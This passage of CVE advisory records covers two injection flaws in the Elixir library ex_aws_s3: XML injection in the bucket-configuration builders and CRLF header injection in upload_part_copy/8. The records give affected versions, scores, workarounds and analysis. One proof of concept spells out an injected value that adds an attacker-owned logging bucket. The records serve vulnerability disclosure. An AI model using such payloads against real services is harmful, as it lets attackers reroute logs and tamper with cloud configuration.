"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.5.9",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:15:20.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eXML Injection vulnerability in ex-aws ex_aws_s3 (\u003ccode\u003eExAws.S3\u003c/code\u003e module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.S3.put_bucket_logging/2\u003c/code\u003e, \u003ccode\u003eExAws.S3.put_bucket_notification/2\u003c/code\u003e, \u003ccode\u003eExAws.S3.put_bucket_replication/2\u003c/code\u003e, \u003ccode\u003eExAws.S3.put_bucket_website/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module\u0027s own \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper. A value containing XML metacharacters (\u003ccode\u003e\u0026lt;\u003c/code\u003e, \u003ccode\u003e\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, quotes) can close the intended element early and open attacker-chosen elements, which the builder\u0027s trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions \u003ccode\u003eput_bucket_logging/2\u003c/code\u003e, \u003ccode\u003eput_bucket_notification/2\u003c/code\u003e, \u003ccode\u003eput_bucket_replication/2\u003c/code\u003e, and \u003ccode\u003eput_bucket_website/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.5.9 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "XML Injection vulnerability in ex-aws ex_aws_s3 (`ExAws.S3` module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.\n\nThis vulnerability is associated with program files `lib/ex_aws/s3.ex` and program routines `ExAws.S3.put_bucket_logging/2`, `ExAws.S3.put_bucket_notification/2`, `ExAws.S3.put_bucket_replication/2`, `ExAws.S3.put_bucket_website/2`.\n\nThe bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module\u0027s own `escape_xml_string/1` helper. A value containing XML metacharacters (`\u003c`, `\u003e`, `\u0026`, quotes) can close the intended element early and open attacker-chosen elements, which the builder\u0027s trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions `put_bucket_logging/2`, `put_bucket_notification/2`, `put_bucket_replication/2`, and `put_bucket_website/2`.\n\nThis issue affects ex_aws_s3: from 2.5.9 before 2.6.0."
}
],
"value": "XML Injection vulnerability in ex-aws ex_aws_s3 (ExAws.S3 module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.\n\nThis vulnerability is associated with program files lib/ex_aws/s3.ex and program routines ExAws.S3.put_bucket_logging/2, ExAws.S3.put_bucket_notification/2, ExAws.S3.put_bucket_replication/2, ExAws.S3.put_bucket_website/2.\n\nThe bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module\u0027s own escape_xml_string/1 helper. A value containing XML metacharacters (\u003c, \u003e, \u0026, quotes) can close the intended element early and open attacker-chosen elements, which the builder\u0027s trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions put_bucket_logging/2, put_bucket_notification/2, put_bucket_replication/2, and put_bucket_website/2.\n\nThis issue affects ex_aws_s3: from 2.5.9 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-250",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an XML/structure injection vulnerability in the bucket-configuration body builders of \u003ccode\u003eex_aws_s3\u003c/code\u003e. It affects any application that passes untrusted or user-supplied values into these builders, most relevantly multi-tenant services that let tenants configure their own bucket logging, notifications, replication, or website settings. The only precondition is that an attacker can influence one of the interpolated field values; they can then inject arbitrary configuration elements (e.g. an attacker-owned replication destination/\u003ccode\u003eAccount\u003c/code\u003e, logging target, or website redirect \u003ccode\u003eHostName\u003c/code\u003e) into a request the application signs and sends to AWS.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an XML/structure injection vulnerability in the bucket-configuration body builders of `ex_aws_s3`. It affects any application that passes untrusted or user-supplied values into these builders, most relevantly multi-tenant services that let tenants configure their own bucket logging, notifications, replication, or website settings. The only precondition is that an attacker can influence one of the interpolated field values; they can then inject arbitrary configuration elements (e.g. an attacker-owned replication destination/`Account`, logging target, or website redirect `HostName`) into a request the application signs and sends to AWS."
}
],
"value": "This is an XML/structure injection vulnerability in the bucket-configuration body builders of ex_aws_s3. It affects any application that passes untrusted or user-supplied values into these builders, most relevantly multi-tenant services that let tenants configure their own bucket logging, notifications, replication, or website settings. The only precondition is that an attacker can influence one of the interpolated field values; they can then inject arbitrary configuration elements (e.g. an attacker-owned replication destination/Account, logging target, or website redirect HostName) into a request the application signs and sends to AWS."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91 XML Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:15:21.465Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-cf93-7gwh-6w98"
},
{
"name": "EEF CNA record for CVE-2026-63581",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-63581.html"
},
{
"name": "OSV record EEF-CVE-2026-63581",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-63581"
},
{
"name": "Introducing commit 7d6f5cd in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/7d6f5cde90aaea36f9a059de874d1420da20eef2"
},
{
"name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ex_aws_s3 XML injection in bucket-configuration builders",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eValidate or sanitize caller-supplied values before passing them to the affected bucket-configuration builders, rejecting or escaping any value that contains XML metacharacters (\u003ccode\u003e\u0026lt;\u003c/code\u003e, \u003ccode\u003e\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e\u0027\u003c/code\u003e, \u003ccode\u003e\"\u003c/code\u003e).\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Validate or sanitize caller-supplied values before passing them to the affected bucket-configuration builders, rejecting or escaping any value that contains XML metacharacters (`\u003c`, `\u003e`, `\u0026`, `\u0027`, `\"`)."
}
],
"value": "Validate or sanitize caller-supplied values before passing them to the affected bucket-configuration builders, rejecting or escaping any value that contains XML metacharacters (\u003c, \u003e, \u0026, \u0027, \")."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eA multi-tenant application exposes \u003ccode\u003ePOST /configure-logging\u003c/code\u003e and forwards the tenant\u0027s form values to \u003ccode\u003eExAws.S3.put_bucket_logging(bucket, target_bucket: target_bucket)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker submits \u003ccode\u003etarget_bucket\u003c/code\u003e as \u003ccode\u003etenant-logs\u0026lt;/TargetBucket\u0026gt;\u0026lt;TargetBucket\u0026gt;attacker-exfil-bucket\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe builder interpolates it unescaped, and its own trailing \u003ccode\u003e\u0026lt;/TargetBucket\u0026gt;\u003c/code\u003e closes the injected element, so the body stays well-formed.\u003c/li\u003e\n\u003cli\u003eParsing the body yields two \u003ccode\u003eTargetBucket\u003c/code\u003e nodes, \u003ccode\u003etenant-logs\u003c/code\u003e and \u003ccode\u003eattacker-exfil-bucket\u003c/code\u003e, in the configuration the application signs and sends to AWS.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. A multi-tenant application exposes `POST /configure-logging` and forwards the tenant\u0027s form values to `ExAws.S3.put_bucket_logging(bucket, target_bucket: target_bucket)`.\n2. The attacker submits `target_bucket` as `tenant-logs\u003c/TargetBucket\u003e\u003cTargetBucket\u003eattacker-exfil-bucket`.\n3. The builder interpolates it unescaped, and its own trailing `\u003c/TargetBucket\u003e` closes the injected element, so the body stays well-formed.\n4. Parsing the body yields two `TargetBucket` nodes, `tenant-logs` and `attacker-exfil-bucket`, in the configuration the application signs and sends to AWS."
}
],
"value": "* A multi-tenant application exposes POST /configure-logging and forwards the tenant\u0027s form values to ExAws.S3.put_bucket_logging(bucket, target_bucket: target_bucket).\n* The attacker submits target_bucket as tenant-logs\u003c/TargetBucket\u003e\u003cTargetBucket\u003eattacker-exfil-bucket.\n* The builder interpolates it unescaped, and its own trailing \u003c/TargetBucket\u003e closes the injected element, so the body stays well-formed.\n* Parsing the body yields two TargetBucket nodes, tenant-logs and attacker-exfil-bucket, in the configuration the application signs and sends to AWS."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Unescaped interpolation.\u003c/strong\u003e The bucket-configuration body builders in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e interpolate caller-supplied values into XML with plain string interpolation and never apply the module\u0027s \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper. This covers \u003ccode\u003eput_bucket_logging\u003c/code\u003e (\u003ccode\u003etarget_bucket\u003c/code\u003e, \u003ccode\u003etarget_prefix\u003c/code\u003e), the notification builders (topic, Lambda and queue ARNs, \u003ccode\u003eid\u003c/code\u003e, events, filter rule names and values), the replication builders (\u003ccode\u003erole\u003c/code\u003e, rule \u003ccode\u003eid\u003c/code\u003e and \u003ccode\u003estatus\u003c/code\u003e, filter prefix, tag keys and values, destination \u003ccode\u003ebucket\u003c/code\u003e, \u003ccode\u003estorage_class\u003c/code\u003e, \u003ccode\u003eaccount\u003c/code\u003e, \u003ccode\u003eowner\u003c/code\u003e) and the website builders (\u003ccode\u003ehost_name\u003c/code\u003e, \u003ccode\u003eprotocol\u003c/code\u003e, \u003ccode\u003eindex_doc\u003c/code\u003e, \u003ccode\u003eerror_doc\u003c/code\u003e and every routing-rule field).\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e In \u003ccode\u003eput_bucket_logging\u003c/code\u003e, for example, the body contains \u003ccode\u003e\u0026lt;TargetBucket\u0026gt;#{target_bucket}\u0026lt;/TargetBucket\u0026gt;\u003c/code\u003e. A value containing \u003ccode\u003e\u0026lt;/TargetBucket\u0026gt;\u0026lt;TargetBucket\u0026gt;...\u003c/code\u003e closes the legitimate element early and opens a second one inside the same \u003ccode\u003e\u0026lt;LoggingEnabled\u0026gt;\u003c/code\u003e block.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Well-formed result.\u003c/strong\u003e The builder\u0027s own trailing closing tag closes the injected node, so the document stays single-rooted and well-formed, parses cleanly and would be accepted by AWS. The application signs and sends the attacker-shaped configuration as its own.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Unescaped interpolation.** The bucket-configuration body builders in `lib/ex_aws/s3.ex` interpolate caller-supplied values into XML with plain string interpolation and never apply the module\u0027s `escape_xml_string/1` helper. This covers `put_bucket_logging` (`target_bucket`, `target_prefix`), the notification builders (topic, Lambda and queue ARNs, `id`, events, filter rule names and values), the replication builders (`role`, rule `id` and `status`, filter prefix, tag keys and values, destination `bucket`, `storage_class`, `account`, `owner`) and the website builders (`host_name`, `protocol`, `index_doc`, `error_doc` and every routing-rule field).\n\n**2. Element break-out.** In `put_bucket_logging`, for example, the body contains `\u003cTargetBucket\u003e#{target_bucket}\u003c/TargetBucket\u003e`. A value containing `\u003c/TargetBucket\u003e\u003cTargetBucket\u003e...` closes the legitimate element early and opens a second one inside the same `\u003cLoggingEnabled\u003e` block.\n\n**3. Well-formed result.** The builder\u0027s own trailing closing tag closes the injected node, so the document stays single-rooted and well-formed, parses cleanly and would be accepted by AWS. The application signs and sends the attacker-shaped configuration as its own."
}
],
"value": "1. Unescaped interpolation. The bucket-configuration body builders in lib/ex_aws/s3.ex interpolate caller-supplied values into XML with plain string interpolation and never apply the module\u0027s escape_xml_string/1 helper. This covers put_bucket_logging (target_bucket, target_prefix), the notification builders (topic, Lambda and queue ARNs, id, events, filter rule names and values), the replication builders (role, rule id and status, filter prefix, tag keys and values, destination bucket, storage_class, account, owner) and the website builders (host_name, protocol, index_doc, error_doc and every routing-rule field).\n\n2. Element break-out. In put_bucket_logging, for example, the body contains \u003cTargetBucket\u003e#{target_bucket}\u003c/TargetBucket\u003e. A value containing \u003c/TargetBucket\u003e\u003cTargetBucket\u003e... closes the legitimate element early and opens a second one inside the same \u003cLoggingEnabled\u003e block.\n\n3. Well-formed result. The builder\u0027s own trailing closing tag closes the injected node, so the document stays single-rooted and well-formed, parses cleanly and would be accepted by AWS. The application signs and sends the attacker-shaped configuration as its own."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-63581",
"datePublished": "2026-11-24T14:15:21.465Z",
"dateReserved": "2026-07-17T04:14:44.351Z",
"dateUpdated": "2026-11-24T14:15:21.465Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63584 (GCVE-0-2026-63584)
Vulnerability from cvelistv5 – Published: 2026-11-24 14:15 – Updated: 2026-11-24 14:15
VLAI
EPSS
VEX
Title
Copy-source header injection in ExAws.S3.upload_part_copy/8 via unencoded source key
Summary
Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.
ExAws.S3.upload_part_copy/8 in lib/ex_aws/s3.ex builds the x-amz-copy-source request header by interpolating the source bucket and object key directly into "/#{src_bucket}/#{src_object}" with no percent-encoding. The sibling function put_object_copy percent-encodes the bucket and each path segment before assembling the same header, but upload_part_copy skips encoding entirely.
When the source key is derived from untrusted input, reserved characters (spaces, ?, &, =) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing \r or \n can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.
Applications that pass a source bucket or object key derived from untrusted input to ExAws.S3.upload_part_copy/8 are affected. Applications that only ever pass trusted, well-formed keys are not affected.
This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
Severity
CWE
- CWE-93 - Improper Neutralization of CRLF Sequences
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-63584.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-63584 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/4ce4d7… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/b708be… | patch |
Impacted products
Date Public
2026-11-24 14:15
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:upload_part_copy/8"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:upload_part_copy/8"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "b708beb7cbd0fe2ab7ce685834bb664397e4df1e",
"status": "affected",
"version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:15:09.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eImproper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027) vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the \u003ccode\u003ex-amz-copy-source\u003c/code\u003e request header by interpolating the source bucket and object key directly into \u003ccode\u003e\"/#{src_bucket}/#{src_object}\"\u003c/code\u003e with no percent-encoding. The sibling function \u003ccode\u003eput_object_copy\u003c/code\u003e percent-encodes the bucket and each path segment before assembling the same header, but \u003ccode\u003eupload_part_copy\u003c/code\u003e skips encoding entirely.\u003c/p\u003e\n\u003cp\u003eWhen the source key is derived from untrusted input, reserved characters (spaces, \u003ccode\u003e?\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, \u003ccode\u003e=\u003c/code\u003e) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing \u003ccode\u003e\\r\u003c/code\u003e or \u003ccode\u003e\\n\u003c/code\u003e can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.\u003c/p\u003e\n\u003cp\u003eApplications that pass a source bucket or object key derived from untrusted input to \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e are affected. Applications that only ever pass trusted, well-formed keys are not affected.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027) vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.\n\n`ExAws.S3.upload_part_copy/8` in `lib/ex_aws/s3.ex` builds the `x-amz-copy-source` request header by interpolating the source bucket and object key directly into `\"/#{src_bucket}/#{src_object}\"` with no percent-encoding. The sibling function `put_object_copy` percent-encodes the bucket and each path segment before assembling the same header, but `upload_part_copy` skips encoding entirely.\n\nWhen the source key is derived from untrusted input, reserved characters (spaces, `?`, `\u0026`, `=`) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing `\\r` or `\\n` can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.\n\nApplications that pass a source bucket or object key derived from untrusted input to `ExAws.S3.upload_part_copy/8` are affected. Applications that only ever pass trusted, well-formed keys are not affected.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"value": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027) vulnerability in ex-aws ex_aws_s3 allows HTTP header injection via an attacker-controlled copy-source key.\n\nExAws.S3.upload_part_copy/8 in lib/ex_aws/s3.ex builds the x-amz-copy-source request header by interpolating the source bucket and object key directly into \"/#{src_bucket}/#{src_object}\" with no percent-encoding. The sibling function put_object_copy percent-encodes the bucket and each path segment before assembling the same header, but upload_part_copy skips encoding entirely.\n\nWhen the source key is derived from untrusted input, reserved characters (spaces, ?, \u0026, =) pass through verbatim and corrupt the copy-source reference, so the copy targets the wrong object or fails. A key containing \\r or \\n can split or inject additional headers into the outgoing HTTP request, depending on how the configured HTTP backend serializes headers.\n\nApplications that pass a source bucket or object key derived from untrusted input to ExAws.S3.upload_part_copy/8 are affected. Applications that only ever pass trusted, well-formed keys are not affected.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-105",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThis is an output-encoding defect (missing percent-encoding) in the construction of the \u003ccode\u003ex-amz-copy-source\u003c/code\u003e header. Affected are applications that call \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e with a source bucket or object key derived from untrusted input. The practical consequences range from a corrupted/incorrect copy-source reference (reserved characters) to header injection into the outgoing S3 request when the key contains CR/LF, the latter\u0027s reach depending on the HTTP client backend in use. Applications that only ever pass trusted, well-formed keys are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "This is an output-encoding defect (missing percent-encoding) in the construction of the `x-amz-copy-source` header. Affected are applications that call `ExAws.S3.upload_part_copy/8` with a source bucket or object key derived from untrusted input. The practical consequences range from a corrupted/incorrect copy-source reference (reserved characters) to header injection into the outgoing S3 request when the key contains CR/LF, the latter\u0027s reach depending on the HTTP client backend in use. Applications that only ever pass trusted, well-formed keys are not affected."
}
],
"value": "This is an output-encoding defect (missing percent-encoding) in the construction of the x-amz-copy-source header. Affected are applications that call ExAws.S3.upload_part_copy/8 with a source bucket or object key derived from untrusted input. The practical consequences range from a corrupted/incorrect copy-source reference (reserved characters) to header injection into the outgoing S3 request when the key contains CR/LF, the latter\u0027s reach depending on the HTTP client backend in use. Applications that only ever pass trusted, well-formed keys are not affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 2.1,
"baseSeverity": "LOW",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-93",
"description": "CWE-93 Improper Neutralization of CRLF Sequences",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:15:10.351Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-27g7-88jv-xqhq"
},
{
"name": "EEF CNA record for CVE-2026-63584",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-63584.html"
},
{
"name": "OSV record EEF-CVE-2026-63584",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-63584"
},
{
"name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
},
{
"name": "Fix commit b708beb in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/b708beb7cbd0fe2ab7ce685834bb664397e4df1e"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Copy-source header injection in ExAws.S3.upload_part_copy/8 via unencoded source key",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003ePercent-encode or otherwise sanitize the source bucket and object key before passing them to \u003ccode\u003eExAws.S3.upload_part_copy/8\u003c/code\u003e. At minimum, reject (or strip) any value containing \u003ccode\u003e\\r\u003c/code\u003e, \u003ccode\u003e\\n\u003c/code\u003e, or the reserved URI characters that alter the copy-source reference. Encode each path segment with \u003ccode\u003eURI.encode(segment, \u0026amp;URI.char_unreserved?/1)\u003c/code\u003e, mirroring how \u003ccode\u003eput_object_copy\u003c/code\u003e builds the same header.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Percent-encode or otherwise sanitize the source bucket and object key before passing them to `ExAws.S3.upload_part_copy/8`. At minimum, reject (or strip) any value containing `\\r`, `\\n`, or the reserved URI characters that alter the copy-source reference. Encode each path segment with `URI.encode(segment, \u0026URI.char_unreserved?/1)`, mirroring how `put_object_copy` builds the same header."
}
],
"value": "Percent-encode or otherwise sanitize the source bucket and object key before passing them to ExAws.S3.upload_part_copy/8. At minimum, reject (or strip) any value containing \\r, \\n, or the reserved URI characters that alter the copy-source reference. Encode each path segment with URI.encode(segment, \u0026URI.char_unreserved?/1), mirroring how put_object_copy builds the same header."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
